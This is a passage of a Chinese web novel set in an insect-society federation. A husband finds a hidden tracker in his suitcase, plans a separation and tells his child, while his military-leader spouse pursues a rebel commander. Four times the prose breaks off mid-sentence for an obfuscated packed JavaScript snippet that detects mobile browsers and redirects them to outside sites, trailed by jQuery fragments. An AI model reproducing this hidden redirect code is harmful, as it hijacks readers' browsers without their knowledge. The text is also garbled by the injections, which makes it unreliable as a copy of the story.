刚拿到联邦正式身份、还没结婚的那半年,他几乎都在跟着研究所的教授在外出差,需要背约十斤重的负重袋,驻扎在其他星系,没有烘烤晾晒的条件,行李就减重到了一个可以单手提的重量。
真正需要带走的,很多还是研究所的一些纸制文件。
星际时代,能够用纸张记录下来的,也算是比较重要和稀少的材料了。
自从不再需要奔波之后,这个行李箱就已经退休,没想到还有返聘回来的这一天。
星际社会,繁琐的家务有机器人代劳,魏邈很少需要自己整理房间,他把书架上那叠文件放进行李箱的前开盖夹层里,几条常打的领带叠好之后,填补多余的空隙,突然顿了一下。
光线明亮,他拢下眼,沿着行李箱前盖的边缘向内摸去,突然觉得触碰到一处细小的、凹下去的圆点,但很快就归匿于无踪,他疑心是自己感受错了,手攀着边缘,细细划过之后,依然觉得没什么异样。
“……”魏邈不知道为什么,在一瞬间之内,突然升起一个荒谬的猜想。
——不至于吧。
尽管这样想,魏邈还是找了一把小刀,割开那块行李箱的夹层,柔韧的衬布被直直地切开之后,裸露出刚硬的、灰黑色的铝合金外壳,魏邈捡到了一个大约五毫米大小的芯片,芯片肉眼几乎不可见,和行李箱几乎同色,紧密地贴合在转角的边缘,似乎从出厂时的一开始就存在。
那是一个精致的、极小型的定位器。
魏邈怔在原地。
……什么时候的事情?
上一次用这个行李箱,大概是四年前的时候。行李箱是他在婚前、刚进入研究所的时候买的,用了接近两年多时间,时间久了,魏邈没舍得扔,把行李箱收纳之后,一直没有再使用过。
那个时候,谁会这样大费周章的,在这样一个不起眼的位置安一个定位器,勘测一名籍籍无名的研究员的一举一动?
还处在这样一个隐蔽的,几乎绝对不会被注意到的位置?
魏邈鲜少使用行李箱的前盖,如果不是纸质文件相对比较脆弱,他可能一辈子都不会打开这个夹层。
他稍微觉得有点儿好笑,勾起唇角,没想到自己原来竟然还得到过和主角相符的待遇。
书里,奥兰德给那名主角攻装过定位器,包括并不限于悬浮车、随身光脑,以及各种能够贴身携带的物品内,后期倒是不用这些繁琐的程序了,直接限制虫身自由。
有些事情不能够深思。
太多的疑问盘旋在魏邈脑海里,他记得刚结婚那会儿,但凡要出差,他凡事儿都会主动报备,发个定位,特意拍一段视频过去,那会儿奥兰德比他更忙,基本上只有一个已读的记录,偶尔心情好了,会有一些简短的回复:好的、注意安全。
后来倒不至于再360度全景拍摄一次,但也依然没有失联过。
定位器的意义在哪里?
第一枚发现了,剩下的呢?
魏邈没什么情绪的低下眼,盖住多余的惊愕,将手腕上的光脑摘下来,打了个电话:“喂,是安全检测公司吗?”
他波澜不惊地道:“麻烦上门一趟,我怀疑家里被窃听了。”
·
维恩回家的时候,才发现庄园里站着好几名西装革履的雌虫,雄父站在门口,穿得同样正式,表情看不出喜怒,看到他,露出一个淡淡的笑容。
“维恩回来了?”魏邈揉了揉幼崽的棕发,“今天有学到什么吗?”
维恩仰起脸,舒服地眯起眼睛,问:“雄父,他们是谁啊?”
魏邈柔和地低下眼,笑了笑:“家里发生了一些
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13666775|143385||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
小情况。”
“莱尔先生。”那名领头的雌虫过了一会儿,面色略有些尴尬地走过来,“非常抱歉,您提供的这枚芯片确实是一个小型定位器,但功能都已经损坏,之前的行迹功能以及录音或许都没有办法复原。”
魏邈挑挑眉,问:“相当于一块废铁?”
“比废铁肯定好一点儿。”能入住这片庄园的雄虫非富即贵,最初探测员进来的时候,脚步都放轻了,生怕找出些秘密,又怕找不出来。
但此刻倒是放松了一些,“您这一块儿定位器的款式我不太确定,不太像是市面上流通过的,可以先放到我们公司总部请专家了解一下。”
魏邈若有所思:“除此之外呢?没有发现什么别的窃听器之类的吗?”
“没有。”那名雌虫露出苦笑,“我们真的已经将所有有可能藏匿窃听器的地方都翻找了一遍,莱尔先生,确实没有第二枚了,您是怀疑有些虫做了其他手脚吗?”
“我怀疑我雌君的政敌想要加害他。”魏邈说完这句话,自己忍不住先弯起嘴角,旋即收拢起不该出现的笑意,颇为严肃地道,“连我的行李箱里都有定位器,竟然没有第二枚,是你们的专业技术水准有问题吧?”
雌虫:“……”
政敌?
“可能确实是我们勘察的工作不够到位。”雌虫放缓了声音,已经懒得和眼前这位过于英俊、但神经敏感的雄虫再计较什么,只当自己倒霉,尽量显得谦和、有礼地道,“我们只检查了别墅内部,目前确实没有任何进展,您如果不放心的情况下,可以再找一家公司进行更全面的检测,相信您会有一个更理性的判断。或者这样的情况下,我们建议您直接报警处理……毕竟您这一枚定位器,还是足够说明一些问题的。”
意思相当明确,不在我们的职责范围内,另请高明吧。
魏邈漫不经心地用手掩住维恩的耳朵,随意而散漫地露出些忧心忡忡的神色:“这种情况下,报警有用吗?”
26.永远爱你
——严格意义上,是没有用的。
几年前的定位器,这会儿才来找,单拎出来立案显然证据不足,除非还有其他情报新鲜出炉,但牵涉到联邦上层的权力斗争,那就是另一回事了。
担心这位名叫莱尔的雄虫听不懂,雌虫把话摊得更明白了些:“您如果想要让这件事光明正大的话,可以报警,如果有困难,最好私下里调查解决。”
能够被监视的,一般都没有普通民众。贵族们多数要求绝对的隐私权,无法容忍被披露于公众的风险,报警显然是没有办法的选择。
魏邈若有所思:“这样。”
他摩挲了一下自己的指腹:“行,就这样吧,之后如果有需求的话,我们再沟通。”
·
维恩一直仰起脸,看他的雄父有条不紊地把这些陌生的雌虫送出家门,室内都是被翻动了一遍的痕迹,扫地机器人“呼噜噜”地来回打转,却依然有一种挥之不去的消毒过的味道。
尽管检测员上门探测信号时,都穿了厚厚一层的防护服,事后还原了位置,但不少犄角旮旯的偏僻角落,显然没有办法完全的顾及。
他难得有些迷茫,一时间不知道道该如何下脚,魏邈把他抱到玩具室内,让幼崽坐到一个小黄鸭气球上。
这个地方没有被允许翻找过。
魏邈拥有这栋庄园的全部权限。
成婚后的第一年,魏邈从老宅搬到这栋庄园时,花园还是光秃秃的一片,当时的树刚迁徙过来,能闻到松软的、新鲜泥土的味道,却并不夹杂上辈子路过绿化带翻新时的杂草清香,闻起来不算好闻。
他买了不少花种,撒到花园里,支了一个简易版的葡萄架,他在这里,度过了来到联邦之后第一个有家有子的新年。
——尽管那会儿,维恩还只是一颗不会说话的蛋。
虫族并没有所谓的新年这种说法,联邦成立日就是唯一的节日,魏邈没有特立独行的意愿,后来入乡随俗,就把成立日当做新年来过。
有些东西本身是没有意义的,就像1月1日,是人为为这个日期赋予了意义。
甚至日期本身,都只是一种后天的,为了区分时间流逝而产生的定义。
魏邈并不讨厌奥兰德,相反,扪心自问,他其实一直很感激他的雌君,这种感激一直到如今,依然牢固地存在着。
像是流浪犬突然被收容到一个温暖的院子里,从他贸然踏进那个如同宫殿般的会客厅里,见到奥兰德的第一面开始,对方就在他的人生中扮演一种近乎于引导者的角色。
他的住所、家庭、社会身份,乃至于周围的亲朋好友,他的一大部分时间以及投注的大多数情感,都是围绕着“奥兰德·柏布斯”这个名字而重建出来的,作为一名外来者,因为太恐惧、太急迫,理所应当地迈入了一种接近于温室的生活。
在他以为之后的生活如同一条平直的轨道,如此往复而乏味地走到终点的时候,才发现前方是一处绝境,之前走过的所有顷刻间变成弯路。
在结婚的头两年,魏邈经常会焦虑自己是否达到了对方心目中所谓雄主的合格线,现在回过头来看,无论是作为丈夫,亦或是身为一名父亲,他确实是不太合格的。
魏邈蹲下身,他注视着那双湛蓝的眼睛,感受到胸腔里传来的一种漫长的、隐滞的痛楚,问:“今天的练习课,老师表扬维恩了吗?”
柏布斯家族的幼崽即使还没有到上学的年龄,也是有不少预习课的,例如字母的识读和拼写、礼仪素养、运算常识,以及大量的运动类课程。
提起这个,维恩显然很开心:“表扬我了,老师说我的球打得又快又好。”
“这么厉害?”魏邈笑着道,“有没有留什么作业?”
“没有。”维恩摇摇头,强调道,“老师说我是最最最聪明的幼崽。”
他的语气在几个“最”字中不断强调。
魏邈只是笑着看他,过了一会儿,才道:“老师说了这么多最啊。”
维恩瞪大了眼睛,一脸“你竟然不相信我”的表情,想了想,补充说:“老师还说我一定会成为一名最厉害的医生。”
和雄
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13673232|143385||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
虫一样,亚雌力量较小,成为一名医生,已经是一个相当体面的职业。
魏邈没有打击幼崽的兴趣,他坐在室内,目光和缓地看着维恩将细小的积木抓在手中,拼成了一栋建筑的轮廓。
在玩具堆里,维恩的第一顺位显然不是他。
魏邈也没有非要和这群积木争取多余的注意力的想法,以一种闲聊的语气,道:“维恩,雄父想要和你商量一件事情。”
他少有以雄父自称的时候,因为觉得有些奇怪。
幼崽疑惑地眨了下眼睛:“什么事情?”
“以后雄父不和雌父一起生活了。”魏邈收好多余的思绪,“我们或许会分开很长很长的时间,就像是小羊和小马不会睡在同样一个房子里一样,就是这样的分开。”
空气里突然沉默了一会儿。
维恩转过脑袋,问:“是因为你们吵架了吗?”
“没有。”
“我看到昨天晚上雌父下跪了,可是我以为你已经原谅他了。”维恩严肃地道,“是不是因为雌父出轨了?”
小朋友的思绪真的很难猜,魏邈轻轻叹了口气:“……维恩,你要少看点肥皂剧。”
维恩有些不解地歪了歪脑袋:“那你们为什么要分开?”
“因为有很多不一样的地方。”魏邈笑了笑,“比如维恩爱喝青柠汁,我觉得不是很符合我的胃口,那我们可以选择分开喝不同的饮料,其他的事情也是这样的,彼此会有不同的选择,但并不意味着我们不是朋友,也不意味着我们就是陌生人了,对不对?”
维恩纠结地道:“那我们要搬出去住吗?”
“当然不会。”魏邈低声笑了笑,“这里同样也属于我们维恩。”
“好吧,”维恩昂起下巴,骄傲地点点头,“……那我允许你们分开了,你会有一位新的雌君吗?虽然雌父有点儿凶,但维恩不想要第二个雌父。”
魏邈闭了闭眼睛,笑着道:“不会。”
他轻轻地环抱住幼崽的肩膀,在对方的脸颊上亲了亲:“雄父会永远爱你。”
27.死亡通知书
维恩严肃地道:“我也会永远爱你的,雄父。”
魏邈觉得小朋友很幼稚,三四岁的时候就许下永远的承诺,却又忍不住柔下眼睛,他学着维恩的语调,拖长了声音说:“那我决定比你爱得多一点吧。”
“……”维恩仰起脑袋,不说话,过了一会儿,他像是突然得逞了一样,道:“真的吗?”
魏邈道:“拉钩。”
维恩又开心起来,他放下已经差不多快搭好的积木,爬到魏邈的怀里,找到了一个舒服的姿势,摇了摇魏邈修长的小拇指:“那有没有什么奖励?”
“什么?”
维恩表情严肃地大声说:“我想去吃炸鸡,你昨天晚上答应了我说要带我去吃夜宵,你这个说话不算话的坏雄父!”
魏邈哭笑不得。
他妥协地道:“……好吧。”
他轻松地把小朋友抱起来:“趁还没到晚上,我们俩偷偷地溜出去吧。”
虫族的快餐店比起高档餐厅,反而更加稀少,里面的顾客相对比较杂,不止是维恩,魏邈自己都戴了口罩和帽子,遮盖住身型和脖颈之后,几乎鲜少再有目光打量他。
将近傍晚,天色涌出一种昏聩的朦胧,在高楼之间升起日落,魏邈没有选择在店里吃,将炸鸡打包好之后,他带着维恩来到公园的长椅上,陪小朋友喂鸽子。
这会儿应该是奥兰德下班的时间,光脑里已经有对方新鲜出炉的讯息,魏邈没有理会,他懒洋洋地铺了一块野餐垫,躺在公园的斜坡草坪上,手放在脖颈后边,脑袋枕着自己的胳膊,帽子盖住大半张脸,享受一天中最后的赛博光照。
维恩专心致志地啃着炸鸡,过了一会儿,一名四五岁大的雄虫幼崽凑过来,奶声奶气地问:“你在吃什么?”
“五香味的鸡块。”
“好吃吗?”
维恩很惊讶地反问:“你没吃过吗?……给你一块,我没动过的哦。”
“……”雄虫幼崽不说话了,颇为警惕地看着维恩,手蜷缩了一下。
维恩道:“这是我最喜欢吃的食物。”
雄虫幼崽吸了吸鼻子,有些意动。
魏邈从帽檐下侧过脸,望了眼两名幼崽,旋即收回了目光。
联邦所谓的公园,名义上是公共设施,实际上设有围栏,有一定的准入门槛,需要星网的财产证明才可以进入。
布列卡星没有一口空气是免费的。
“贝鲁。”一名雌虫匆匆赶过来,轻声细语地哄道,“不能抢别的幼崽的东西哦。”
他的目光警醒地环视了一遍四周,定格在草坪上躺着的那名家长身上。
对方穿了件黑色的西装衬衫,双腿修长地交叠在一起,腰肢劲瘦有力,单看身材,便已经足够吸引注目,帽子扣在脸上,看起来对自己身旁的幼崽漠不关心。
脖颈的虫纹被遮得严严实实,看不出是雌虫还是雄虫。
“先生。”负责育儿的雌虫没有忍住,提醒了一声,“您睡着了吗?您的幼崽还在旁边……呃,建议您还是看顾一下。”
同时心道,这家长心够大啊。
长相精致的亚雌,相较于雌虫幼崽,在一个家庭中还是能够受到一定程度的关注和宠爱的。
而亚雌同样也容易被掳掠,所以在领出去之后,难免需要雌父多费心。
维恩在旁边不高兴地道:“叔叔,你是谁啊?”
干嘛来管闲事。
躺在草坪里的那位家长总算把帽子摘了下来,露出英俊得过分的一张脸。
“多谢提醒。”对方笑了声,随意地道,“就让他们玩吧,出不了什么乱子的。”
·
奥兰德今天的心情还算不错。
联邦的监牢里,一批又一批的军雌被审问又放走,第一军团自上到下,在短时间内被拆封核验了一遍,上一任军团长赫尔诺遗留下来的所有无形的财产,通通都被连根拔起。
李易在旁边看得胆战心惊,好在这位掌权人暂时没有处置他的打算,观刑了一会儿之后,径自离开了。
中午,奥兰德照例浏览了一会儿星网。
联邦的网络相当发达,最大的论坛可容纳三十几亿用户,他鲜少关注时政新闻,浏览的板块更多的集中于美食、婚姻以及游戏板块。
他先点开游戏板块,很快被一大堆黑话漫灌。
【《曙光》新的概念神boss,能打过的教程分解。】
【如何给各副本排序,是地狱难度还是萌新可入?我发图,你来排】
【魏神去玩新开发的游戏《帝国3》了?发了一个两小时速通的完整版视频?!】
【毫无疑问,我说《帝国3》是最烂的游戏,没有之一,只需一套丝滑的连招,就已去世。】
【概念神魏光头和你开玩笑的?众所周知,当魏把自己的建模设置成光头的时候,他就已经无敌了。】
【脱发之后,从《曙光》开始无敌。】
【理性探讨,魏神在现实中是不是光头?】
“……”奥兰德自上而下地浏览一遍,微微蹙起眉头,不能理解他们在热火朝天地讨论着什么,至于魏神,因为这个姓氏,他搜索了一下对方的账号。
那个叫“魏”的博主,头像是一个像灯泡一样的光头,穿着一件带斗篷的屎黄色的服装,目光坚定地露出拳头,头像的画风相当简陋和奇特。
个人主页的简介也相当抽象:坚持每天100个俯卧撑,100个仰卧起坐,100个深蹲,10公里长跑。
奥兰德:“……”
他关掉了这个并不熟稔的页面,来到了日常频繁刷新的板块。
【一百种做甜品小技巧,轻松拿捏雄主的胃!】
奥兰德点进去观看了一会儿,发现质量不错,选择收藏。
【小娇雌你们嘴真严啊!!!这几种姿势伴侣体验感upup】
奥兰德神色肃穆地点进去,浏览了一遍,无意中评论:都尝试过了,图1和图4确实还不错。
【现在的雌侍是真的越来越不要脸了,一个个上赶着扑过来,雌君的权力到底怎么得到保障?!联邦的立法机关真的不作为。】
奥兰德沉思几秒,他没有遇到这种情况。
但有些雌侍和雌奴确实仗着年轻,还有雄主的宠爱,甚至敢于挑衅雌君,这样的情况很普遍,不得不防。
他决定之后再出一个草案。
【备孕最要紧的三件事!!一定能够生出最可爱的幼崽。】
奥兰德点击收藏。
【爱到最后,全凭良心】
【楼主:
我和雄主在上大学的时候认识,现在结婚第十年,生育了三个幼崽,还记得第一次见面的时候,我们都上了同一所高校,他夸我懂得很多,说我眼睛很好看,结婚之后,他只有一名雌侍,我一直觉得我们是soulmate,还说支持我出去工作。
我们刚领证的第三年,那一段时间生产的时候,雄主全程守在外面,一直在等我,在医院的产科等待天明,他怀里的温暖我到现在还记得。
现在才发现他其实在婚外还有一个亚雌,和对方有两个宝宝,知道的那一刻天旋地转,我不知道他们是什么时候开始的,只是突然想起第一次见面的时候,说会珍惜我一辈子。】
这个帖子普遍引起了雌君的共鸣,被顶到前面。
奥兰德淡淡的目光在帖子上停留了几秒,过了一会儿,还是回复:牢固的婚姻需要经营,另外,你目前最要紧的事儿是找个律师。
都这样了,收拾收拾准备上法庭吧,说不定还能抢救一下婚姻共同财产。
楼主很快回复:你诅咒我和雄主离婚?不知道你过得多不幸福。
奥兰德眼底闪过怫然不悦的神色,回复:谢谢,我的雄主是研究员,我们很幸福。
没有再回复这个楼主的帖子,奥兰德在后台选择把这个账号无限期禁言。
这座论坛同样是柏布斯家族的产业,他拥有星网的绝对管理权限,可以随时封禁和拉黑用户。
理由随便挑了一个:传播负能量。
浏览完几条帖子,奥兰德起身,打算准备今晚的晚餐。
有些流程较为繁琐的菜品需要从下午就开始准备,这也是最初需要在军部建一座厨房
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|13679537|143385||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的原因。
他洗干净手,正准备将刀柄再擦拭一遍,便看到赫尔诺发来的语音申请。
一直到铃响起的最后一秒,奥兰德不紧不慢地选择接受。
流水哗啦啦地作响,奥兰德在想,或许今晚可以炖一盅汤,准备好了牛奶、燕窝、银耳之后,才听见对面的声音:“您真是越来越可笑了,上将。”
“什么是可笑的?”火苗汹涌而起,那把薄薄的刃被掷到案台上,奥兰德轻轻地笑了一声,“我对你相当失望,你似乎越来越分不清虚幻和现实的边界了,本以为你能够给我带来一些有趣的创意,没想到还是一些令人生厌的老套路。”
赫尔诺笑着叹了口气:“您何必这样赶尽杀绝?……只是想要杀一名雄虫,堂堂的军部元帅就这样方寸大乱了吗?”
“我从不想成为元帅。”
“您很幽默。”
“是你太蠢了。”奥兰德徐徐将燕窝泡进水中,“按理说,我不应该教育一名逝者。在你最初成为一名军团长时,我很欣赏你的行事作风,这也是军部愿意给予你一条生路,让你苟活到现在的原因。”
两边都没有做声。
过了一会儿,赫尔诺笑着道:“您以为您能彻底把反叛军撇开吗?”
“我与你们无关。”
“是您一手教导我建立起的反叛军。”
“哦?”
“您觉得您没有留下任何线索吗?元帅,那您为何还需要接通我的通讯呢?”
“……”奥兰德蹙了蹙眉。
他低下眼,将燕窝拿到光下,仔细地观察了一下四周的浮毛,又清洗了一遍,有些费解地收起了脸上多余的神情。
“在此之前,我没想过你会失控,赫尔诺,你或许该吃药了,但是现在显然没有这个必要。”他的目光一片阗静,漫不经心地匀了一片思绪,道,“我最后一次给你下通牒,这不是病危通知书,我只是在宣告你的死亡。”
·
魏邈和那名雌虫聊了一会儿育儿心得,基本上都是那名雌虫在讲,他在听。
对方显然很久没有倾诉的对象,魏邈被迫听了一箩筐的小技巧,又听了不少大家族内琐碎的八卦,只觉得有些贵族的生活过得相当丰富和精彩,在对方即将要传授如何讨好雄主的技能的时候,维恩拯救了他。
“雄父,”维恩打了个哈欠,说,“我们走吧,我玩够了。”
魏邈略松了一口气,辞别了这位显得异常热情的已婚已育雌虫,说:“好。”
雌虫抱着雄虫幼崽,微笑着目送他们离开,过了一会儿,笑容突然龟裂,“啊”了一声,胸膛起伏不定。
雄父?
这是什么意思?
……刚刚一直笑容和煦和他聊天的年轻家长,是一名雄虫?
·
魏邈没有把公园的这一段小插曲放在心上。
满街霓虹,天幕如穹顶,风声呼啸袭来,魏邈掩住风口,道:“维恩打算跟雄父住酒店吗?”
怀里的棕色脑袋蛄蛹了一下,语气略带兴奋:“不回家了吗?”
魏邈笑了一下:“维恩可以接受的话。”
“接受!”幼崽语气雀跃,“好耶,我们不回家了,维恩出击!”
离婚三件套,分居、出轨、冷暴力。
魏邈倒并不是想要和奥兰德闹得不可开交,但他确实需要一个很显而易见的借口。
一个小打小闹之后,让两方能够在其他虫面前有理由阐明之所以离婚的理由。
原本计划的备选方案没有派上用场,魏邈倒并不算沮丧,他打了个电话,很快,酒店的商务悬浮车便前来接泊,魏邈关闭了光脑,来的时候,他特意携带了不记名的白金卡。
他抻了抻帽檐,同时,这也是一个不怎么高明的明牌试探。
——说起来,这好像是他结婚五年来,第一次失联。
在此之前,魏邈从来没想到自己还有这样“作”的时候。
他需要试验一下,在不确定是否有定位器的前提下,突然失去了一切联系方式,没有光脑通信功能,奥兰德需要花费多少时间,能够找到他?
28.不要做出格的事情
奥兰德把燕窝泡好,才有空给魏邈发消息:雄主,晚上喝燕窝银耳汤吗?
没有回复。
这会儿不在线吗?
奥兰德略有些疑惑,雄主今天没有工作安排,应该在家里住,应该是有空的。
还是在打游戏?
成婚这几年,刨除出差的情况,他的雄主生活相当规律,几乎都是两点一线的生活,唯一称得上爱好的也只是一些线上的娱乐方式。
怕魏邈觉得厌烦,他忍住想要再发一条的想法,按照自己的想法先把食材准备好,仔细地擦拭完手指后,才走出厨房。
第三军团的军团长已经等候在那扇落地窗前。
“下午好,议员长。”拜伦·西斯躬身肃立,笑着道,“很感谢您对第三军团委以重任,我等这一天已经等了很久。”
即使在军营里,这名雌虫依然穿着繁琐的浅咖色西装套装,手指上戴着两枚银色的、亮晶晶的戒指,金发碧眼,皮靴一尘不染,挑染过的银灰发色在室内的顶灯下发亮。
“已经三十四岁了。”奥兰德淡淡地瞥了一眼对方,对这位军团长把军部当作秀场的行为不置可否,“也该收敛一些张扬的行事作风了。”
“我不像您,有家有业。”拜伦·西斯叹了一口气,“我已经决定把我的一生献给联邦的和平,自然只好取悦一下自己。”
奥兰德目光里不掺和任何情绪,他袖口卷起,露出极富力量感的手臂线条,随意地给自己接了一杯白开水,坐在单人沙发上,评价道:“很新颖的想法。”
“但您并不认同。”拜伦笑了一声,旋即在接触到上司锋利的目光后,肃穆道,“……我会注意的。”
“赫尔诺应该被逼急了。”奥兰德抿了一口白开水,他有些烦躁,又看了眼沉寂的光脑,“他毕竟是双S等级的雌虫,在锁定他的星舰之后,最好限制他的自杀式袭击。”
在第一军团的羽翼被斩除之后,赫尔诺剩下的势力,也就只剩下联邦边陲部分荒星的残部了。
这位旧的军团长、新的反叛军首领并不擅长管理部下,在没有军部稳定的经济供给时,内部同样诸多隐忧。
“这也是我所担忧的。”拜伦·西斯说,“有些荒星毕竟还是有居民居住的,我们不可能封锁一座行星所有的出入口……”
“封锁、保护都无济于事的话,那就使用暴力,我只看结果。”奥兰德侧脸,低头在翻讯息,随意地陈述,“他们是居民,但同样也是反叛军的兵源和武器库。”
拜伦·西斯艰涩地理解完这句话,他犹豫了一下,想说什么,过了一会儿,默默颔首:“我知道该怎么做了。”
柏布斯上将并不需要有个虫意愿的臣属。
能够这样解释,已经算是看在过往层面,通情达理的结果。
他沉默了一会儿,才说:“说起来,上一次见赫尔诺,已经是很久之前的事情了。”
他比奥兰德大六岁,和赫尔诺同期进入军部,亲眼看着这位曾荣耀等身的军团长一步一步走到联邦的对立面。
拜伦·西斯不觉得自己是一位多么优秀的军雌,他天资平平,依靠着家世和等级走到这一步,已经算是极限,尤其是在同期有赫尔诺的情况下,他的光芒完全被分润。
好不容易熬走了赫尔诺,奥兰德·柏布斯随后又以绝对碾压式的卓越能力,掌管了整个军部。
六年的时间差距并不大,但要知道,对方刚进入军部时,只是军校毕业的年龄。
在很漫长的一段时间内,拜伦都相当沉寂,一直到他偶然间,看到星网的一段视频。
那是游戏《曙光》的画面,一名力大如牛的光头雌虫“哐、哐”两拳,砸碎了敌军的机甲,以绝对的速度在战场上杀了三个来回,斩杀了虫群中的最终boss,打出了那个副本的最佳评分。
热血沸腾。
那是绝对技巧与力量的结合,一种极致的暴力美学。
拜伦·西斯看得心潮澎湃,久违的血性被激发出来,他感受到自己的心灵受到了极大的冲击,只凭基本的直觉判断,那个叫“魏”的游戏博主,能够如此流畅地操纵角色,精神力等级至少是一名稀少的,S或双S级的雌虫。
他关注了对方,去询问“魏”的修炼秘籍。
魏过了一段时间,给他回复:我之前也很平凡,只是
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|13691059|143385||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
一名普通的上班族。但自从每天积极锻炼、自律地生活之后,就完成了蜕变,变强的诀窍就是我的个性签名的内容,仅供参考。可惜成为强者之后,总是要失去一些多余的情感,享受绝对的孤独,这或许也是成为无双斗帝的必须代价而已,加油!
拜伦·西斯认真地看完之后,满腹疑惑。
……这种所谓的“绝对孤独”是指?
无双斗帝又是什么,指精神力等级SSS级吗?
一名S级以上的雌虫,不应该在成年时分化完全了吗,为什么还要去当一名普通的上班族?
但好在他一向擅长察言观色,认真思考之后,他悟了。
这名雌虫显然没有家庭,是一名极少数的不婚雌虫,想要突破武力值的上限,所以选择了一条艰苦卓绝的路。
仔细考虑之后,拜伦决定按照这名博主的攻略来做。
他很快有了指引者,并恢复了自信心,并决定如同魏神一般,踏上变强,为联邦奉献终身的路途。
这也是魏神在游戏里孜孜不倦完成的事业——只是对方奉献的对象是游戏里的虫族帝国。
拜伦坚信,强者是永远孤独的。
奥兰德的声音冷硬地响起:“还没有走到回忆的地步。”
拜伦回过神,道:“……是。”他顿了顿,“我想亲自上前线。”
一般情况下,军团长在坐稳位置之后,就不再需要频繁地参与前线的战斗,而是坐镇后方,只需要为战局负责。
奥兰德露出一个讽刺的笑容:“你打算劝降他?”
“不是。”拜伦低声道,“……我想试试,我能不能在赫尔诺底下过个三招,最近勤于锻炼,想要试试训练的成果。”
“……”奥兰德脸上难得覆上一层诧异之色。
他过了一会儿,才相对委婉地问:“送死吗?”
拜伦·西斯:“……”
议员长交叠双腿,大部分注意力显然不在他身上,手指不均匀的敲打着沙发的表面,频频看向光脑,显然并没有想象中的气定神闲。
对方道:“西斯上将,去完成自己该完成的任务,不要做出格的事情。”
29.我们离婚吧
燕窝洗净、泡好,撇去浮毛,大约需要四个小时。
焯水之后,隔着纯净水小火慢煮,一直炖到软烂、黏腻之后,考虑到雄虫们都喜欢甜食,奥兰德加了适量的蜂蜜。
燕窝银耳羹,是很适合备孕时吃的食谱。
奥兰德并不喜欢这些汤点,但如果对备孕有帮助,他还是愿意喝一口。
和雄主已经很久没有同房过了,奥兰德心里难免升起一些急躁的心理,他二十四岁诞下维恩之后,却始终没有怀上第二胎。
联邦的雄子们虽然并不热衷于幼崽,但这并不代表幼崽不重要。如果能产下一枚雄虫蛋,哪怕是雄子们,也会相当高兴。
而仅仅是一枚亚雌,也并不能够支撑雌君的地位。
尽管他的雄主对这些事非常通情达理,奥兰德还是觉得已经到了该怀二胎的时间了。
雄虫一直没有回复他。
奥兰德又发了两条,依然如此。他脑海中一瞬间升起很多猜想,但很快被理智一个个否定。
如果反叛军有能力在布列卡星接触到他的雄主,他还活什么,直接退位让贤给赫尔诺算了。
……没必要多虑。
但下一秒,径自站起身,神色冷肃一片。
奥兰德没了再将燕窝炖得更好看一些的兴致,难得早早下班,提着食盒,走向升降梯,驱车朝着庄园赶,想到被回避的另一种可能:雄虫看到了那条消息,但没有理会。
他心绪不宁,甫一进入庄园,便察觉到了不对劲的地方。
有不少陌生的气味,似乎来过一遍。
沿着花园的小径走,便能看到数道脚印,这些陌生的雌虫进入得相当光明正大,看样子像是受邀前来,奥兰德神色一片冰冷,他强忍住领地被闯入的不适感,走进别墅,才发现玄关没有开灯。
院子里乌黑一片,没有雄主和幼崽的身影。
他打开灯,目光在前厅的书架和沙发上逡巡了一圈,蹙起眉。
——几乎所有装饰品都被翻动了一遍,尽管有做拙劣的复原,但手法相当堪忧,看上去简直像是猴子掰完的玉米粒。
该完整地淘汰这一批家具,然后再大扫除一遍了。
提着食盒,奥兰德蓦然松了一口气,理智终于归笼。
庄园有自己独特的一套警戒和安保系统,拥有所有权限的除了他之外,便只有他的雄主,如果有任何异常情况,会直接报备到他的光脑后台。
奥兰德点开监控,便看见庄园的大门之外,魏邈和几名雌虫寒暄完之后,微笑着目送对方离开。
他直接截取了那几名雌虫的面部信息,放到军部的数据库里做了识别,很快,弹出一条信息,显示对方是某通讯设备检测公司的部长。
……通讯设备?
